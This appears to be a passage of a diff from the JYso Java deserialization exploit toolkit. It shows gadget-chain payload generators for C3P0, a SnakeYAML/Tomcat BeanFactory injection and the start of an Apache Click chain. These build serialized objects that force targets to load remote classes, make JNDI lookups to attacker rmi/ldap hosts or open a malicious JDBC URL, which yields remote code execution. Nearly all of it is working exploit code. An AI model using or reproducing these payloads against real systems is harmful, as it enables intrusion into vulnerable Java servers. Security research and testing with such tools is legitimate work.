yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
" !!java.net.URLClassLoader [[\n" +
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||||
" ]]\n" +
|
" ]]\n" +
|
||||||
"]";
|
"]";
|
||||||
break;
|
break;
|
||||||
case "writeJar":
|
case "writeJar":
|
||||||
String[] parts = cmd.split(":");
|
String[] parts = cmd.split(":");
|
||||||
try {
|
try {
|
||||||
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
|
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case "c3p0Double":
|
case "c3p0Double":
|
||||||
try {
|
try {
|
||||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case "c3p0Jndi":
|
case "c3p0Jndi":
|
||||||
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||||
"jndiName: " + cmd + "\n" +
|
"jndiName: " + cmd + "\n" +
|
||||||
"loginTimeout: 0";
|
"loginTimeout: 0";
|
||||||
break;
|
break;
|
||||||
case "jndi":
|
case "jndi":
|
||||||
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||||
"dataSourceName: " + cmd + "\n" +
|
"dataSourceName: " + cmd + "\n" +
|
||||||
"autoCommit: true";
|
"autoCommit: true";
|
||||||
break;
|
break;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||||
true, "org.apache.naming.factory.BeanFactory", null);
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||||
ref.add(new StringRefAddr("QI4L", yaml));
|
ref.add(new StringRefAddr("QI4L", yaml));
|
||||||
return ref;
|
return ref;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PrintWriter getLogWriter() {
|
public PrintWriter getLogWriter() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLogWriter(PrintWriter out) {
|
public void setLogWriter(PrintWriter out) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public int getLoginTimeout() {
|
public int getLoginTimeout() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLoginTimeout(int seconds) {
|
public void setLoginTimeout(int seconds) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Logger getParentLogger() {
|
public Logger getParentLogger() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection() {
|
public PooledConnection getPooledConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection(String user, String password) {
|
public PooledConnection getPooledConnection(String user, String password) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,99 +1,99 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.Referenceable;
|
import javax.naming.Referenceable;
|
||||||
import javax.sql.ConnectionPoolDataSource;
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
import javax.sql.PooledConnection;
|
import javax.sql.PooledConnection;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class C3P092 implements ObjectPayload<Object> {
|
public class C3P092 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String url = command.substring(0, sep);
|
String url = command.substring(0, sep);
|
||||||
String className = command.substring(sep + 1);
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||||
|
|
||||||
ClassPool pool = new ClassPool();
|
ClassPool pool = new ClassPool();
|
||||||
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||||
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||||
|
|
||||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||||
|
|
||||||
// mock method name until armed
|
// mock method name until armed
|
||||||
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
|
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
|
||||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||||
);
|
);
|
||||||
|
|
||||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
private final String className;
|
private final String className;
|
||||||
|
|
||||||
private final String url;
|
private final String url;
|
||||||
|
|
||||||
public PoolSource(String className, String url) {
|
public PoolSource(String className, String url) {
|
||||||
this.className = className;
|
this.className = className;
|
||||||
this.url = url;
|
this.url = url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Reference getReference() {
|
public Reference getReference() {
|
||||||
return new Reference("exploit", this.className, this.url);
|
return new Reference("exploit", this.className, this.url);
|
||||||
}
|
}
|
||||||
|
|
||||||
public PrintWriter getLogWriter() {
|
public PrintWriter getLogWriter() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLogWriter(PrintWriter out) {
|
public void setLogWriter(PrintWriter out) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public int getLoginTimeout() {
|
public int getLoginTimeout() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLoginTimeout(int seconds) {
|
public void setLoginTimeout(int seconds) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Logger getParentLogger() {
|
public Logger getParentLogger() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection() {
|
public PooledConnection getPooledConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection(String user, String password) {
|
public PooledConnection getPooledConnection(String user, String password) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,39 +1,39 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.alibaba.fastjson.JSONArray;
|
import com.alibaba.fastjson.JSONArray;
|
||||||
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
@Authors({Authors.UNAM4})
|
@Authors({Authors.UNAM4})
|
||||||
public class C3P0JDBC implements ObjectPayload<Object> {
|
public class C3P0JDBC implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||||
throw new Exception("Command format is: eviljdbcurl");
|
throw new Exception("Command format is: eviljdbcurl");
|
||||||
}
|
}
|
||||||
|
|
||||||
ComboPooledDataSource o = new ComboPooledDataSource();
|
ComboPooledDataSource o = new ComboPooledDataSource();
|
||||||
o.setJdbcUrl(command);
|
o.setJdbcUrl(command);
|
||||||
o.setMaxIdleTime(1);
|
o.setMaxIdleTime(1);
|
||||||
o.setMaxPoolSize(1);
|
o.setMaxPoolSize(1);
|
||||||
|
|
||||||
JSONArray jsonArray = new JSONArray();
|
JSONArray jsonArray = new JSONArray();
|
||||||
jsonArray.add(o);
|
jsonArray.add(o);
|
||||||
|
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
valfield.setAccessible(true);
|
valfield.setAccessible(true);
|
||||||
valfield.set(val, jsonArray);
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||||
hashMap.put(o, val);
|
hashMap.put(o, val);
|
||||||
return hashMap;
|
return hashMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,41 +1,41 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.alibaba.fastjson.JSONArray;
|
import com.alibaba.fastjson.JSONArray;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
@Authors({Authors.UNAM4})
|
@Authors({Authors.UNAM4})
|
||||||
public class C3P0JNDI implements ObjectPayload<Object> {
|
public class C3P0JNDI implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
if (command.toLowerCase().startsWith("jndi:")) {
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
command = command.substring(5);
|
command = command.substring(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||||
}
|
}
|
||||||
|
|
||||||
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
||||||
Reflections.setFieldValue(o, "jndiName", command);
|
Reflections.setFieldValue(o, "jndiName", command);
|
||||||
Reflections.setFieldValue(o, "identityToken", "exp");
|
Reflections.setFieldValue(o, "identityToken", "exp");
|
||||||
JSONArray jsonArray = new JSONArray();
|
JSONArray jsonArray = new JSONArray();
|
||||||
jsonArray.add(o);
|
jsonArray.add(o);
|
||||||
|
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
valfield.setAccessible(true);
|
valfield.setAccessible(true);
|
||||||
valfield.set(val, jsonArray);
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
|
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||||
hashMap.put(o, val);
|
hashMap.put(o, val);
|
||||||
return hashMap;
|
return hashMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,40 +1,40 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.alibaba.fastjson.JSONArray;
|
import com.alibaba.fastjson.JSONArray;
|
||||||
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
@Authors({Authors.UNAM4})
|
@Authors({Authors.UNAM4})
|
||||||
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
if (command.toLowerCase().startsWith("jndi:")) {
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
command = command.substring(5);
|
command = command.substring(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||||
}
|
}
|
||||||
|
|
||||||
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
||||||
o.setJndiName(command);
|
o.setJndiName(command);
|
||||||
JSONArray jsonArray = new JSONArray();
|
JSONArray jsonArray = new JSONArray();
|
||||||
jsonArray.add(o);
|
jsonArray.add(o);
|
||||||
|
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
valfield.setAccessible(true);
|
valfield.setAccessible(true);
|
||||||
valfield.set(val, jsonArray);
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||||
hashMap.put(o, val);
|
hashMap.put(o, val);
|
||||||
return hashMap;
|
return hashMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,15 +1,15 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unused"})
|
@SuppressWarnings({"rawtypes", "unused"})
|
||||||
public class C3P0RefDataSource implements ObjectPayload {
|
public class C3P0RefDataSource implements ObjectPayload {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
||||||
// requires ordering
|
// requires ordering
|
||||||
Reflections.setFieldValue(obj, "jndiName", command);
|
Reflections.setFieldValue(obj, "jndiName", command);
|
||||||
Reflections.setFieldValue(obj, "loginTimeout", 0);
|
Reflections.setFieldValue(obj, "loginTimeout", 0);
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,42 +1,42 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.commons.codec.binary.Hex;
|
import org.apache.commons.codec.binary.Hex;
|
||||||
|
|
||||||
import javax.naming.Name;
|
import javax.naming.Name;
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
||||||
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
|
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
|
||||||
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
||||||
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
||||||
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
|
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
|
||||||
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
||||||
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
||||||
con.setAccessible(true);
|
con.setAccessible(true);
|
||||||
Reference jndiref = new Reference("Foo", clazz, codebase);
|
Reference jndiref = new Reference("Foo", clazz, codebase);
|
||||||
Object ref = con.newInstance(jndiref, null, null, null);
|
Object ref = con.newInstance(jndiref, null, null, null);
|
||||||
oos.writeObject(ref);
|
oos.writeObject(ref);
|
||||||
}
|
}
|
||||||
|
|
||||||
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
URI uri = new URI(command);
|
URI uri = new URI(command);
|
||||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||||
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
||||||
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
|
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,78 +1,78 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.click.control.Column;
|
import org.apache.click.control.Column;
|
||||||
import org.apache.click.control.Table;
|
import org.apache.click.control.Table;
|
||||||
|
|
||||||
import java.math.BigInteger;
|
import java.math.BigInteger;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||||
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||||
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||||
* <p>
|
* <p>
|
||||||
* Chain:
|
* Chain:
|
||||||
* <p>
|
* <p>
|
||||||
* java.util.PriorityQueue.readObject()
|
* java.util.PriorityQueue.readObject()
|
||||||
* java.util.PriorityQueue.heapify()
|
* java.util.PriorityQueue.heapify()
|
||||||
* java.util.PriorityQueue.siftDown()
|
* java.util.PriorityQueue.siftDown()
|
||||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||||
* org.apache.click.control.Column$ColumnComparator.compare()
|
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||||
* org.apache.click.control.Column.getProperty()
|
* org.apache.click.control.Column.getProperty()
|
||||||
* org.apache.click.control.Column.getProperty()
|
* org.apache.click.control.Column.getProperty()
|
||||||
* org.apache.click.util.PropertyUtils.getValue()
|
* org.apache.click.util.PropertyUtils.getValue()
|
||||||
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||||
* java.lang.reflect.Method.invoke()
|
* java.lang.reflect.Method.invoke()
|
||||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||||
* ...
|
* ...
|
||||||
* <p>
|
* <p>
|
||||||
* Arguments:
|
* Arguments:
|
||||||
* - command to execute
|
* - command to execute
|
||||||
* <p>
|
* <p>
|
||||||
* Yields:
|
* Yields:
|
||||||
* - RCE via TemplatesImpl.getOutputProperties()
|
* - RCE via TemplatesImpl.getOutputProperties()
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - Apache Click
|
* - Apache Click
|
||||||
* - servlet-api of any version
|
* - servlet-api of any version
|
||||||
* <p>
|
* <p>
|
||||||
* by @artsploit
|
* by @artsploit
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||||
@Authors({Authors.ARTSPLOIT})
|
@Authors({Authors.ARTSPLOIT})
|
||||||
public class Click1 implements ObjectPayload<Object> {
|
public class Click1 implements ObjectPayload<Object> {
|
